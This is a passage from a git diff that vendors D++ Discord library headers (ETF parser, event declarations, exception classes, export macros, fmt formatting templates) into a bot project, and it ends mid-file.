horrible structure used within the ETF parser to convert uint64_t to double and back. + * This is horrible, but it is the official way erlang term format does this, so we can't really + * mess with it much. + */ +union type_punner { + /** + * @brief binary integer value + */ + uint64_t ui64; + /** + * @brief double floating point value + */ + double df; +}; + +/** + * @brief Represents a buffer of bytes being encoded into ETF + */ +struct DPP_EXPORT etf_buffer { + /** + * @brief Raw buffer + */ + std::vector buf; + /** + * @brief Current used length of buffer + * (this is different from buf.size() as it is pre-allocated + * using resize and may not all be in use) + */ + size_t length; + + /** + * @brief Construct a new etf buffer object + * + * @param initial initial buffer size to allocate + */ + etf_buffer(size_t initial); + + /** + * @brief Destroy the etf buffer object + */ + ~etf_buffer(); +}; + +/** + * @brief The etf_parser class can serialise and deserialise ETF (Erlang Term Format) + * into and out of an nlohmann::json object, so that layers above the websocket don't + * have to be any different for handling ETF. + */ +class DPP_EXPORT etf_parser { + + /** + * @brief Current size of binary data + */ + size_t size; + + /** + * @brief Current offset into binary data + */ + size_t offset; + + /** + * @brief Pointer to binary ETF data to be decoded + */ + uint8_t* data; + + /** + * @brief Parse a single value, and if that value contains other + * values (e.g. an array or map) then call itself recursively. + * + * @return nlohmann::json JSON value from the ETF + */ + nlohmann::json inner_parse(); + + /** + * @brief Read 8 bits of data from the buffer + * + * @return uint8_t data retrieved + * @throw dpp::exception Data stream isn't long enough to fetch requested bits + */ + uint8_t read_8_bits(); + + /** + * @brief Read 16 bits of data from the buffer + * + * @return uint16_t data retrieved + * @throw dpp::exception Data stream isn't long enough to fetch requested bits + */ + uint16_t read_16_bits(); + + /** + * @brief Read 32 bits of data from the buffer + * + * @return uint32_t data retrieved + * @throw dpp::exception Data stream isn't long enough to fetch requested bits + */ + uint32_t read_32_bits(); + + /** + * @brief Read 64 bits of data from the buffer + * + * @return uint64_t data retrieved + * @throw dpp::exception Data stream isn't long enough to fetch requested bits + */ + uint64_t read_64_bits(); + + /** + * @brief Read string data from the buffer + * + * @param length Length of string to retrieve + * @return const char* data retrieved + * @throw dpp::exception Data stream isn't long enough to fetch requested bits + */ + const char* read_string(uint32_t length); + + /** + * @brief Process an 'atom' value. + * An atom is a "label" or constant value within the data, + * such as a key name, nullptr, or false. + * + * @return nlohmann::json value converted to JSON + * @throw dpp::exception Data stream isn't long enough to fetch requested bits + */ + nlohmann::json process_atom(const char* atom, uint16_t length); + + /** + * @brief Decode an 'atom' value. + * + * @return nlohmann::json value converted to JSON + * @throw dpp::exception Data stream isn't long enough to fetch requested bits + */ + nlohmann::json decode_atom(); + + /** + * @brief Decode a small 'atom' value. + * + * @return nlohmann::json value converted to JSON + * @throw dpp::exception Data stream isn't long enough to fetch requested bits + */ + nlohmann::json decode_small_atom(); + + /** + * @brief Decode a small integer value (0-255). + * + * @return nlohmann::json value converted to JSON + * @throw dpp::exception Data stream isn't long enough to fetch requested bits + */ + nlohmann::json decode_small_integer(); + + /** + * @brief Decode an integer value (-MAXINT -> MAXINT-1). + * + * @return nlohmann::json value converted to JSON + * @throw dpp::exception Data stream isn't long enough to fetch requested bits + */ + nlohmann::json decode_integer(); + + /** + * @brief Decode an array of values. + * + * @return nlohmann::json values converted to JSON + * @throw dpp::exception Data stream isn't long enough to fetch requested bits + */ + nlohmann::json decode_array(uint32_t length); + + /** + * @brief Decode a list of values. + * + * @return nlohmann::json values converted to JSON + * @throw dpp::exception Data stream isn't long enough to fetch requested bits + */ + nlohmann::json decode_list(); + + /** + * @brief Decode a 'tuple' value. + * + * @return nlohmann::json value converted to JSON + * @throw dpp::exception Data stream isn't long enough to fetch requested bits + */ + nlohmann::json decode_tuple(uint32_t length); + + /** + * @brief Decode a nil 'atom' value. + * + * @return nlohmann::json value converted to JSON + * @throw dpp::exception Data stream isn't long enough to fetch requested bits + */ + nlohmann::json decode_nil(); + + /** + * @brief Decode a map (object) value. + * Will recurse to evaluate each member variable. + * + * @return nlohmann::json values converted to JSON + * @throw dpp::exception Data stream isn't long enough to fetch requested bits + */ + nlohmann::json decode_map(); + + /** + * @brief Decode a floating point numeric value. + * (depreciated in erlang but still expected to be supported) + * + * @return nlohmann::json value converted to JSON + * @throw dpp::exception Data stream isn't long enough to fetch requested bits + */ + nlohmann::json decode_float(); + + /** + * @brief Decode a floating type numeric value. + * + * @return nlohmann::json value converted to JSON + * @throw dpp::exception Data stream isn't long enough to fetch requested bits + */ + nlohmann::json decode_new_float(); + + /** + * @brief Decode a 'bigint' value. + * + * @return nlohmann::json value converted to JSON + * @throw dpp::exception Data stream isn't long enough to fetch requested bits + */ + nlohmann::json decode_bigint(uint32_t digits); + + /** + * @brief Decode a small 'bigint' value. + * + * @return nlohmann::json value converted to JSON + * @throw dpp::exception Data stream isn't long enough to fetch requested bits + */ + nlohmann::json decode_bigint_small(); + + /** + * @brief Decode a large 'bigint' value. + * + * @return nlohmann::json value converted to JSON + * @throw dpp::exception Data stream isn't long enough to fetch requested bits + */ + nlohmann::json decode_bigint_large(); + + /** + * @brief Decode a binary value. + * + * @return nlohmann::json value converted to JSON + * @throw dpp::exception Data stream isn't long enough to fetch requested bits + */ + nlohmann::json decode_binary(); + + /** + * @brief Decode a string value. + * + * @return nlohmann::json value converted to JSON + * @throw dpp::exception Data stream isn't long enough to fetch requested bits + */ + nlohmann::json decode_string(); + + /** + * @brief Decode a string list value. + * + * @return nlohmann::json value converted to JSON + * @throw dpp::exception Data stream isn't long enough to fetch requested bits + */ + nlohmann::json decode_string_as_list(); + + /** + * @brief Decode a 'small tuple' value. + * + * @return nlohmann::json value converted to JSON + * @throw dpp::exception Data stream isn't long enough to fetch requested bits + */ + nlohmann::json decode_tuple_small(); + + /** + * @brief Decode a 'large tuple' value. + * + * @return nlohmann::json value converted to JSON + * @throw dpp::exception Data stream isn't long enough to fetch requested bits + */ + nlohmann::json decode_tuple_large(); + + /** + * @brief Decode a compressed value. + * This is a zlib-compressed binary blob which contains another + * ETF object. + * + * @return nlohmann::json value converted to JSON + * @throw dpp::exception Data stream isn't long enough to fetch requested bits + */ + nlohmann::json decode_compressed(); + + /** + * @brief Decode a 'reference' value. + * Erlang expects this to be supported, in practice Discord doesn't send these right now. + * + * @return nlohmann::json value converted to JSON + * @throw dpp::exception Data stream isn't long enough to fetch requested bits + */ + nlohmann::json decode_reference(); + + /** + * @brief Decode a 'new reference' value. + * Erlang expects this to be supported, in practice Discord doesn't send these right now. + * + * @return nlohmann::json value converted to JSON + * @throw dpp::exception Data stream isn't long enough to fetch requested bits + */ + nlohmann::json decode_new_reference(); + + /** + * @brief Decode a 'port' value. + * Erlang expects this to be supported, in practice Discord doesn't send these right now. + * + * @return nlohmann::json value converted to JSON + * @throw dpp::exception Data stream isn't long enough to fetch requested bits + */ + nlohmann::json decode_port(); + + /** + * @brief Decode a 'PID' value. + * Erlang expects this to be supported, in practice Discord doesn't send these right now. + * + * @return nlohmann::json value converted to JSON + * @throw dpp::exception Data stream isn't long enough to fetch requested bits + */ + nlohmann::json decode_pid(); + + /** + * @brief Decode an 'export' value. + * Erlang expects this to be supported, in practice Discord doesn't send these right now. + * + * @return nlohmann::json value converted to JSON + * @throw dpp::exception Data stream isn't long enough to fetch requested bits + */ + nlohmann::json decode_export(); + + /** + * @brief Write to output buffer for creation of ETF from JSON + * + * @param pk buffer struct + * @param bytes byte buffer to write + * @param l number of bytes to write + * @throw std::exception Buffer cannot be extended + */ + void buffer_write(etf_buffer *pk, const char *bytes, size_t l); + + /** + * @brief Append version number to ETF buffer + * + * @param b buffer to append to + * @throw std::exception Buffer cannot be extended + */ + void append_version(etf_buffer *b); + + /** + * @brief Append nil value to ETF buffer + * + * @param b buffer to append to + * @throw std::exception Buffer cannot be extended + */ + void append_nil(etf_buffer *b); + + /** + * @brief Append false value to ETF buffer + * + * @param b buffer to append to + * @throw std::exception Buffer cannot be extended + */ + void append_false(etf_buffer *b); + + /** + * @brief Append true value to ETF buffer + * + * @param b buffer to append to + * @throw std::exception Buffer cannot be extended + */ + void append_true(etf_buffer *b); + + /** + * @brief Append small integer value to ETF buffer + * + * @param b buffer to append to + * @param d double to append + * @throw std::exception Buffer cannot be extended + */ + void append_small_integer(etf_buffer *b, unsigned char d); + + /** + * @brief Append integer value to ETF buffer + * + * @param b buffer to append to + * @param d integer to append + * @throw std::exception Buffer cannot be extended + */ + void append_integer(etf_buffer *b, int32_t d); + + /** + * @brief Append 64 bit integer value to ETF buffer + * + * @param b buffer to append to + * @param d integer to append + * @throw std::exception Buffer cannot be extended + */ + void append_unsigned_long_long(etf_buffer *b, unsigned long long d); + + /** + * @brief Append 64 bit integer value to ETF buffer + * + * @param b buffer to append to + * @param d integer to append + * @throw std::exception Buffer cannot be extended + */ + void append_long_long(etf_buffer *b, long long d); + + /** + * @brief Append double value to ETF buffer + * + * @param b buffer to append to + * @param f doule to append + * @throw std::exception Buffer cannot be extended + */ + void append_double(etf_buffer *b, double f); + + /** + * @brief Append atom value to ETF buffer + * + * @param b buffer to append to + * @param bytes pointer to string to append + * @param size size of string to append + * @throw std::exception Buffer cannot be extended + */ + void append_atom(etf_buffer *b, const char *bytes, size_t size); + + /** + * @brief Append utf8 atom value to ETF buffer + * + * @param b buffer to append to + * @param bytes pointer to string to append + * @param size size of string to append + * @throw std::exception Buffer cannot be extended + */ + void append_atom_utf8(etf_buffer *b, const char *bytes, size_t size); + + /** + * @brief Append binary value to ETF buffer + * + * @param b buffer to append to + * @param bytes pointer to string to append + * @param size size of string to append + * @throw std::exception Buffer cannot be extended + */ + void append_binary(etf_buffer *b, const char *bytes, size_t size); + + /** + * @brief Append string value to ETF buffer + * + * @param b buffer to append to + * @param bytes pointer to string to append + * @param size size of string to append + * @throw std::exception Buffer cannot be extended + */ + void append_string(etf_buffer *b, const char *bytes, size_t size); + + /** + * @brief Append tuple value to ETF buffer + * + * @param b buffer to append to + * @param size size of value to append + * @throw std::exception Buffer cannot be extended + */ + void append_tuple_header(etf_buffer *b, size_t size); + + /** + * @brief Append list terminator to ETF buffer + * + * @param b buffer to append to + * @throw std::exception Buffer cannot be extended + */ + void append_nil_ext(etf_buffer *b); + + /** + * @brief Append a list header value to ETF buffer + * + * @param b buffer to append to + * @param size size of values to append + * @throw std::exception Buffer cannot be extended + */ + void append_list_header(etf_buffer *b, size_t size); + + /** + * @brief Append a map header value to ETF buffer + * + * @param b buffer to append to + * @param size size of values to append + * @throw std::exception Buffer cannot be extended + */ + void append_map_header(etf_buffer *b, size_t size); + + /** + * @brief Build ETF buffer + * + * @param j JSON object to build from + * @param b Buffer to append to + * @throw std::exception Buffer cannot be extended + */ + void inner_build(const nlohmann::json* j, etf_buffer* b); + +public: + /** + * @brief Construct a new etf parser object + */ + etf_parser(); + + /** + * @brief Destroy the etf parser object + */ + ~etf_parser(); + + /** + * @brief Convert ETF binary content to nlohmann::json + * + * @param in Raw binary ETF data (generally from a websocket) + * @return nlohmann::json JSON data for use in the library + * @throw dpp::exception Malformed or otherwise invalid ETF content + */ + nlohmann::json parse(const std::string& in); + + /** + * @brief Create ETF binary data from nlohmann::json + * + * @param j JSON value to encode to ETF + * @return std::string raw ETF data. Note that this can + * and probably will contain null values, use std::string::data() + * and std::string::size() to manipulate or send it. + * @throw std::exception Not enough memory, or invalid data types/values + */ + std::string build(const nlohmann::json& j); +}; + +}; diff --git a/MyBot/dependencies/include/dpp-9.0/dpp/event.h b/MyBot/dependencies/include/dpp-9.0/dpp/event.h new file mode 100644 index 0000000..c9e862e --- /dev/null +++ b/MyBot/dependencies/include/dpp-9.0/dpp/event.h @@ -0,0 +1,147 @@ +/************************************************************************************ + * + * D++, A Lightweight C++ library for Discord + * + * Copyright 2021 Craig Edwards and D++ contributors + * (https://github.com/brainboxdotcc/DPP/graphs/contributors) + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + ************************************************************************************/ +#pragma once +#include +#include +#include + +#define event_decl(x) class x : public event { public: virtual void handle(dpp::discord_client* client, nlohmann::json &j, const std::string &raw); }; + +namespace dpp { + +class discord_client; + +/** + * @brief The events namespace holds the internal event handlers for each websocket event. + * These are handled internally and also dispatched to the user code if the event is hooked. + */ +namespace events { + +/** + * @brief An event object represents an event handled internally, passed from the websocket e.g. MESSAGE_CREATE. + */ +class DPP_EXPORT event { +public: + /** Pure virtual method for event handler code + * @param client The creating shard + * @param j The json data of the event + * @param raw The raw event json + */ + virtual void handle(class discord_client* client, nlohmann::json &j, const std::string &raw) = 0; +}; + +/* Internal logger */ +event_decl(logger); + +/* Guilds */ +event_decl(guild_create); +event_decl(guild_update); +event_decl(guild_delete); +event_decl(guild_ban_add); +event_decl(guild_ban_remove); +event_decl(guild_emojis_update); +event_decl(guild_integrations_update); +event_decl(guild_join_request_delete); +event_decl(guild_stickers_update); + +/* Stage channels */ +event_decl(stage_instance_create); +event_decl(stage_instance_update); +event_decl(stage_instance_delete); + +/* Guild members */ +event_decl(guild_member_add); +event_decl(guild_member_remove); +event_decl(guild_members_chunk); +event_decl(guild_member_update); + +/* Guild roles */ +event_decl(guild_role_create); +event_decl(guild_role_update); +event_decl(guild_role_delete); + +/* Session state */ +event_decl(resumed); +event_decl(ready); + +/* Channels */ +event_decl(channel_create); +event_decl(channel_update); +event_decl(channel_delete); +event_decl(channel_pins_update); + +/* Threads */ +event_decl(thread_create); +event_decl(thread_update); +event_decl(thread_delete); +event_decl(thread_list_sync); +event_decl(thread_member_update); +event_decl(thread_members_update); + +/* Messages */ +event_decl(message_create); +event_decl(message_update); +event_decl(message_delete); +event_decl(message_delete_bulk); + +/* Presence/typing */ +event_decl(presence_update); +event_decl(typing_start); + +/* Users (outside of guild) */ +event_decl(user_update); + +/* Message reactions */ +event_decl(message_reaction_add); +event_decl(message_reaction_remove); +event_decl(message_reaction_remove_all); +event_decl(message_reaction_remove_emoji); + +/* Invites */ +event_decl(invite_create); +event_decl(invite_delete); + +/* Voice */ +event_decl(voice_state_update); +event_decl(voice_server_update); + +/* Webhooks */ +event_decl(webhooks_update); + +/* Slash commands */ +event_decl(application_command_create); +event_decl(application_command_update); +event_decl(application_command_delete); +event_decl(interaction_create); + +/* Integrations */ +event_decl(integration_create); +event_decl(integration_update); +event_decl(integration_delete); + +/* Scheduled events */ +event_decl(guild_scheduled_event_create); +event_decl(guild_scheduled_event_update); +event_decl(guild_scheduled_event_delete); +event_decl(guild_scheduled_event_user_add); +event_decl(guild_scheduled_event_user_remove); + +}}; diff --git a/MyBot/dependencies/include/dpp-9.0/dpp/exception.h b/MyBot/dependencies/include/dpp-9.0/dpp/exception.h new file mode 100644 index 0000000..8401835 --- /dev/null +++ b/MyBot/dependencies/include/dpp-9.0/dpp/exception.h @@ -0,0 +1,195 @@ +/************************************************************************************ + * + * D++, A Lightweight C++ library for Discord + * + * Copyright 2021 Craig Edwards and D++ contributors + * (https://github.com/brainboxdotcc/DPP/graphs/contributors) + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + ************************************************************************************/ +#pragma once +#include +#include +#include +#include + +namespace dpp { + +/** + * @brief The dpp::exception class derives from std::exception and supports some other + * ways of passing in error details such as via std::string. + */ +class exception : public std::exception +{ +protected: + /** + * @brief Exception message + */ + std::string msg; + +public: + + using std::exception::exception; + + /** + * @brief Construct a new exception object + */ + exception() = default; + + /** + * @brief Construct a new exception object + * + * @param what reason message + */ + explicit exception(const char* what) : msg(what) { } + + /** + * @brief Construct a new exception object + * + * @param what reason message + * @param len length of reason message + */ + exception(const char* what, size_t len) : msg(what, len) { } + + /** + * @brief Construct a new exception object + * + * @param what reason message + */ + explicit exception(const std::string& what) : msg(what) { } + + /** + * @brief Construct a new exception object + * + * @param what reason message + */ + explicit exception(std::string&& what) : msg(std::move(what)) { } + + /** + * @brief Construct a new exception object (copy constructor) + */ + exception(const exception&) = default; + + /** + * @brief Construct a new exception object (move constructor) + */ + exception(exception&&) = default; + + /** + * @brief Destroy the exception object + */ + ~exception() override = default; + + /** + * @brief Copy assignment operator + * + * @return exception& reference to self + */ + exception & operator = (const exception &) = default; + + /** + * @brief Move assignment operator + * + * @return exception& reference to self + */ + exception & operator = (exception&&) = default; + + /** + * @brief Get exception message + * + * @return const char* error message + */ + [[nodiscard]] const char* what() const noexcept override { return msg.c_str(); }; + +}; + +#ifndef _DOXYGEN_ + #define derived_exception(name, ancestor) class name : public ancestor { \ + public: \ + using dpp::exception::exception; \ + name() = default; \ + explicit name(const char* what) : exception(what) { } \ + name(const char* what, size_t len) : exception(what, len) { } \ + explicit name(const std::string& what) : exception(what) { } \ + explicit name(std::string&& what) : exception(what) { } \ + name(const name&) = default; \ + name(name&&) = default; \ + ~name() override = default; \ + name & operator = (const name &) = default; \ + name & operator = (name&&) = default; \ + [[nodiscard]] const char* what() const noexcept override { return msg.c_str(); }; \ + }; +#endif + +#ifdef _DOXYGEN_ + /* + * THESE DEFINITIONS ARE NOT THE REAL DEFINITIONS USED BY PROGRAM CODE. + * + * They exist only to cause Doxygen to emit proper documentation for the derived exception types. + * Proper definitions are emitted by the `derived_exception` macro in the "else" section. + */ + + /** + * @brief Represents an error in logic, e.g. you asked the library to do something the Discord API does not support + * @note This is a stub for documentation purposes. For full information on supported methods please see dpp::exception. + */ + class logic_exception : public dpp::exception { }; + /** + * @brief Represents an error reading or writing to a file + * @note This is a stub for documentation purposes. For full information on supported methods please see dpp::exception. + */ + class file_exception : public dpp::exception { }; + /** + * @brief Represents an error establishing or maintaining a connection + * @note This is a stub for documentation purposes. For full information on supported methods please see dpp::exception. + */ + class connection_exception : public dpp::exception { }; + /** + * @brief Represents an error with voice processing + * @note This is a stub for documentation purposes. For full information on supported methods please see dpp::exception. + */ + class voice_exception : public dpp::exception { }; + /** + * @brief Represents an error on a REST API call, e.g. a HTTPS request + * @note This is a stub for documentation purposes. For full information on supported methods please see dpp::exception. + */ + class rest_exception : public dpp::exception { }; + /** + * @brief Represents invalid length of argument being passed to a function + * @note This is a stub for documentation purposes. For full information on supported methods please see dpp::exception. + */ + class length_exception : public dpp::exception { }; + /** + * @brief Represents inability to parse data, usually caused by malformed JSON or ETF + * @note This is a stub for documentation purposes. For full information on supported methods please see dpp::exception. + */ + class parse_exception : public dpp::exception { }; + /** + * @brief Represents invalid access to dpp's cache or its members, which may or may not exist. + * @note This is a stub for documentation purposes. For full information on supported methods please see dpp::exception. + */ + class cache_exception : public dpp::exception { }; +#else + derived_exception(logic_exception, dpp::exception); + derived_exception(file_exception, dpp::exception); + derived_exception(connection_exception, dpp::exception); + derived_exception(voice_exception, dpp::exception); + derived_exception(rest_exception, dpp::exception); + derived_exception(length_exception, dpp::exception); + derived_exception(parse_exception, dpp::exception); + derived_exception(cache_exception, dpp::exception); +#endif + +}; + diff --git a/MyBot/dependencies/include/dpp-9.0/dpp/export.h b/MyBot/dependencies/include/dpp-9.0/dpp/export.h new file mode 100644 index 0000000..a68870b --- /dev/null +++ b/MyBot/dependencies/include/dpp-9.0/dpp/export.h @@ -0,0 +1,52 @@ +/************************************************************************************ + * + * D++, A Lightweight C++ library for Discord + * + * Copyright 2021 Craig Edwards and D++ contributors + * (https://github.com/brainboxdotcc/DPP/graphs/contributors) + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + ************************************************************************************/ +#pragma once + +/* Compile-time assertion check for C++17 */ +// Investigate: MSVC doesnt like this +//static_assert(__cplusplus >= 201703L, "D++ Requires a C++17 compatible compiler. Please ensure that you have enabled C++17 in your compiler flags."); + +#ifdef DPP_BUILD + + #ifdef _WIN32 + #include + #endif + + #ifdef _WIN32 + #define DPP_EXPORT __declspec(dllexport) + #else + #define DPP_EXPORT + #endif +#else + #ifdef _WIN32 + #define DPP_EXPORT __declspec(dllimport) + /* This is required otherwise fmt::format requires additional file linkage to your project */ + #define FMT_HEADER_ONLY + #else + #define DPP_EXPORT + #endif +#endif + +#ifndef _WIN32 + #define SOCKET int +#else + #include +#endif \ No newline at end of file diff --git a/MyBot/dependencies/include/dpp-9.0/dpp/fmt/args.h b/MyBot/dependencies/include/dpp-9.0/dpp/fmt/args.h new file mode 100644 index 0000000..562e8ab --- /dev/null +++ b/MyBot/dependencies/include/dpp-9.0/dpp/fmt/args.h @@ -0,0 +1,232 @@ +// Formatting library for C++ - dynamic format arguments +// +// Copyright (c) 2012 - present, Victor Zverovich +// All rights reserved. +// +// For the license information refer to format.h. + +#ifndef FMT_ARGS_H_ +#define FMT_ARGS_H_ + +#include // std::reference_wrapper +#include // std::unique_ptr +#include + +#include "core.h" + +FMT_BEGIN_NAMESPACE + +namespace detail { + +template struct is_reference_wrapper : std::false_type {}; +template +struct is_reference_wrapper> : std::true_type {}; + +template const T& unwrap(const T& v) { return v; } +template const T& unwrap(const std::reference_wrapper& v) { + return static_cast(v); +} + +class dynamic_arg_list { + // Workaround for clang's -Wweak-vtables. Unlike for regular classes, for + // templates it doesn't complain about inability to deduce single translation + // unit for placing vtable. So storage_node_base is made a fake template. + template struct node { + virtual ~node() = default; + std::unique_ptr> next; + }; + + template struct typed_node : node<> { + T value; + + template + FMT_CONSTEXPR typed_node(const Arg& arg) : value(arg) {} + + template + FMT_CONSTEXPR typed_node(const basic_string_view& arg) + : value(arg.data(), arg.size()) {} + }; + + std::unique_ptr> head_; + + public: + template const T& push(const Arg& arg) { + auto new_node = std::unique_ptr>(new typed_node(arg)); + auto& value = new_node->value; + new_node->next = std::move(head_); + head_ = std::move(new_node); + return value; + } +}; +} // namespace detail + +/** + \rst + A dynamic version of `fmt::format_arg_store`. + It's equipped with a storage to potentially temporary objects which lifetimes + could be shorter than the format arguments object. + + It can be implicitly converted into `~fmt::basic_format_args` for passing + into type-erased formatting functions such as `~fmt::vformat`. + \endrst + */ +template +class dynamic_format_arg_store +#if FMT_GCC_VERSION && FMT_GCC_VERSION < 409 + // Workaround a GCC template argument substitution bug. + : public basic_format_args +#endif +{ + private: + using char_type = typename Context::char_type; + + template struct need_copy { + static constexpr detail::type mapped_type = + detail::mapped_type_constant::value; + + enum { + value = !(detail::is_reference_wrapper::value || + std::is_same>::value || + std::is_same>::value || + (mapped_type != detail::type::cstring_type && + mapped_type != detail::type::string_type && + mapped_type != detail::type::custom_type)) + }; + }; + + template + using stored_type = conditional_t::value && + !has_formatter::value && + !detail::is_reference_wrapper::value, + std::basic_string, T>; + + // Storage of basic_format_arg must be contiguous. + std::vector> data_; + std::vector> named_info_; + + // Storage of arguments not fitting into basic_format_arg must grow + // without relocation because items in data_ refer to it. + detail::dynamic_arg_list dynamic_args_; + + friend class basic_format_args; + + unsigned long long get_types() const { + return detail::is_unpacked_bit | data_.size() | + (named_info_.empty() + ? 0ULL + : static_cast(detail::has_named_args_bit)); + } + + const basic_format_arg* data() const { + return named_info_.empty() ? data_.data() : data_.data() + 1; + } + + template void emplace_arg(const T& arg) { + data_.emplace_back(detail::make_arg(arg)); + } + + template + void emplace_arg(const detail::named_arg& arg) { + if (named_info_.empty()) { + constexpr const detail::named_arg_info* zero_ptr{nullptr}; + data_.insert(data_.begin(), {zero_ptr, 0}); + } + data_.emplace_back(detail::make_arg(detail::unwrap(arg.value))); + auto pop_one = [](std::vector>* data) { + data->pop_back(); + }; + std::unique_ptr>, decltype(pop_one)> + guard{&data_, pop_one}; + named_info_.push_back({arg.name, static_cast(data_.size() - 2u)}); + data_[0].value_.named_args = {named_info_.data(), named_info_.size()}; + guard.release(); + } + + public: + /** + \rst + Adds an argument into the dynamic store for later passing to a formatting + function. + + Note that custom types and string types (but not string views) are copied + into the store dynamically allocating memory if necessary. + + **Example**:: + + fmt::dynamic_format_arg_store store; + store.push_back(42); + store.push_back("abc"); + store.push_back(1.5f); + std::string result = fmt::vformat("{} and {} and {}", store); + \endrst + */ + template void push_back(const T& arg) { + if (detail::const_check(need_copy::value)) + emplace_arg(dynamic_args_.push>(arg)); + else + emplace_arg(detail::unwrap(arg)); + } + + /** + \rst + Adds a reference to the argument into the dynamic store for later passing to + a formatting function. + + **Example**:: + + fmt::dynamic_format_arg_store store; + char band[] = "Rolling Stones"; + store.push_back(std::cref(band)); + band[9] = 'c'; // Changing str affects the output. + std::string result = fmt::vformat("{}", store); + // result == "Rolling Scones" + \endrst + */ + template void push_back(std::reference_wrapper arg) { + static_assert( + need_copy::value, + "objects of built-in types and string views are always copied"); + emplace_arg(arg.get()); + } + + /** + Adds named argument into the dynamic store for later passing to a formatting + function. ``std::reference_wrapper`` is supported to avoid copying of the + argument. The name is always copied into the store. + */ + template + void push_back(const detail::named_arg& arg) { + const char_type* arg_name = + dynamic_args_.push>(arg.name).c_str(); + if (detail::const_check(need_copy::value)) { + emplace_arg( + fmt::arg(arg_name, dynamic_args_.push>(arg.value))); + } else { + emplace_arg(fmt::arg(arg_name, arg.value)); + } + } + + /** Erase all elements from the store */ + void clear() { + data_.clear(); + named_info_.clear(); + dynamic_args_ = detail::dynamic_arg_list(); + } + + /** + \rst + Reserves space to store at least *new_cap* arguments including + *new_cap_named* named arguments. + \endrst + */ + void reserve(size_t new_cap, size_t new_cap_named) { + FMT_ASSERT(new_cap >= new_cap_named, + "Set of arguments includes set of named arguments"); + data_.reserve(new_cap); + named_info_.reserve(new_cap_named); + } +}; + +FMT_END_NAMESPACE + +#endif // FMT_ARGS_H_ diff --git a/MyBot/dependencies/include/dpp-9.0/dpp/fmt/chrono.h b/MyBot/dependencies/include/dpp-9.0/dpp/fmt/chrono.h new file mode 100644 index 0000000..eedfa01 --- /dev/null +++ b/MyBot/dependencies/include/dpp-9.0/dpp/fmt/chrono.h @@ -0,0 +1,1190 @@ +// Formatting library for C++ - chrono support +// +// Copyright (c) 2012 - present, Victor Zverovich +// All rights reserved. +// +// For the license information refer to format.h. + +#ifndef FMT_CHRONO_H_ +#define FMT_CHRONO_H_ + +#include +#include +#include +#include +#include + +#include "format.h" +#include "locale.h" + +FMT_BEGIN_NAMESPACE + +// Enable safe chrono durations, unless explicitly disabled. +#ifndef FMT_SAFE_DURATION_CAST +# define FMT_SAFE_DURATION_CAST 1 +#endif +#if FMT_SAFE_DURATION_CAST + +// For conversion between std::chrono::durations without undefined +// behaviour or erroneous results. +// This is a stripped down version of duration_cast, for inclusion in fmt. +// See https://github.com/pauldreik/safe_duration_cast +// +// Copyright Paul Dreik 2019 +namespace safe_duration_cast { + +template ::value && + std::numeric_limits::is_signed == + std::numeric_limits::is_signed)> +FMT_CONSTEXPR To lossless_integral_conversion(const From from, int& ec) { + ec = 0; + using F = std::numeric_limits; + using T = std::numeric_limits; + static_assert(F::is_integer, "From must be integral"); + static_assert(T::is_integer, "To must be integral"); + + // A and B are both signed, or both unsigned. + if (F::digits <= T::digits) { + // From fits in To without any problem. + } else { + // From does not always fit in To, resort to a dynamic check. + if (from < (T::min)() || from > (T::max)()) { + // outside range. + ec = 1; + return {}; + } + } + return static_cast(from); +} + +/** + * converts From to To, without loss. If the dynamic value of from + * can't be converted to To without loss, ec is set. + */ +template ::value && + std::numeric_limits::is_signed != + std::numeric_limits::is_signed)> +FMT_CONSTEXPR To lossless_integral_conversion(const From from, int& ec) { + ec = 0; + using F = std::numeric_limits; + using T = std::numeric_limits; + static_assert(F::is_integer, "From must be integral"); + static_assert(T::is_integer, "To must be integral"); + + if (detail::const_check(F::is_signed && !T::is_signed)) { + // From may be negative, not allowed! + if (fmt::detail::is_negative(from)) { + ec = 1; + return {}; + } + // From is positive. Can it always fit in To? + if (F::digits > T::digits && + from > static_cast(detail::max_value())) { + ec = 1; + return {}; + } + } + + if (!F::is_signed && T::is_signed && F::digits >= T::digits && + from > static_cast(detail::max_value())) { + ec = 1; + return {}; + } + return static_cast(from); // Lossless conversion. +} + +template ::value)> +FMT_CONSTEXPR To lossless_integral_conversion(const From from, int& ec) { + ec = 0; + return from; +} // function + +// clang-format off +/** + * converts From to To if possible, otherwise ec is set. + * + * input | output + * ---------------------------------|--------------- + * NaN | NaN + * Inf | Inf + * normal, fits in output | converted (possibly lossy) + * normal, does not fit in output | ec is set + * subnormal | best effort + * -Inf | -Inf + */ +// clang-format on +template ::value)> +FMT_CONSTEXPR To safe_float_conversion(const From from, int& ec) { + ec = 0; + using T = std::numeric_limits; + static_assert(std::is_floating_point::value, "From must be floating"); + static_assert(std::is_floating_point::value, "To must be floating"); + + // catch the only happy case + if (std::isfinite(from)) { + if (from >= T::lowest() && from <= (T::max)()) { + return static_cast(from); + } + // not within range. + ec = 1; + return {}; + } + + // nan and inf will be preserved + return static_cast(from); +} // function + +template ::value)> +FMT_CONSTEXPR To safe_float_conversion(const From from, int& ec) { + ec = 0; + static_assert(std::is_floating_point::value, "From must be floating"); + return from; +} + +/** + * safe duration cast between integral durations + */ +template ::value), + FMT_ENABLE_IF(std::is_integral::value)> +To safe_duration_cast(std::chrono::duration from, + int& ec) { + using From = std::chrono::duration; + ec = 0; + // the basic idea is that we need to convert from count() in the from type + // to count() in the To type, by multiplying it with 